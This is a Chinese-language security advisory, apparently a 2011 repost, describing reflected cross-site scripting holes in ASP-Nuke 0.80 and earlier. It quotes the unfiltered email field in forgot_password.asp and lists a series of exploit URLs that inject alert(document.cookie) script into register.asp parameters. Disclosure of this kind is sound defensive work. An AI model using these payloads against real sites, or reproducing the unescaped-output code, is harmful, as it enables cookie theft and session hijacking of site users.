ASP-Nuke多个跨站脚本(CSS/XSS)漏洞

2011-2-23 10:05:19 来源:网络转载 浏览:185
ASP-Nuke多个跨站脚本(CSS/XSS)漏洞
影响版本:
ASP-Nuke <= 0.80

程序介绍:

ASP-Nuke是一款开放源码的软件应用,可在web server上运行基于社区的站点。

漏洞分析:

ASPNuke中存在多个跨站脚本漏洞,起因是没有正确的过滤用户输入。在/module/account/register/forgot_password.asp第33行和103行代码中:

    <?
      ...
      sEmail = steForm( Email )
      ...
      <TR>
  <TD class= forml >
  <% steTxt  E-Mail  %> (req)<BR>
  <INPUT TYPE= text  NAME= email  VALUE= <%= sEmail %>  SIZE= 22 
  MAXLENGTH= 80  class= form >
  </TD>
      </TR>
      <TR>
      ...
      ?>

可见对email参数没有任何控制,而参数的值是要放置于HTML页面中的,因此攻击者可以使用类似于以下的URL执行跨站脚本:

http://www.example.com/module/account/register/forgot_password.asp?email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

成功利用这个漏洞的攻击者可以在用户浏览器中执行任意代码。

漏洞利用:

http://www.example.com/module/account/register/register.asp?FirstName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?LastName=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Password=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Address1=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Address2=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?City=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?ZipCode=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/module/account/register/register.asp?Email=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

解决方案:
厂商补丁:
ASP-Nuke

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.asp-nuke.com/downloads.asp

(0)
(0)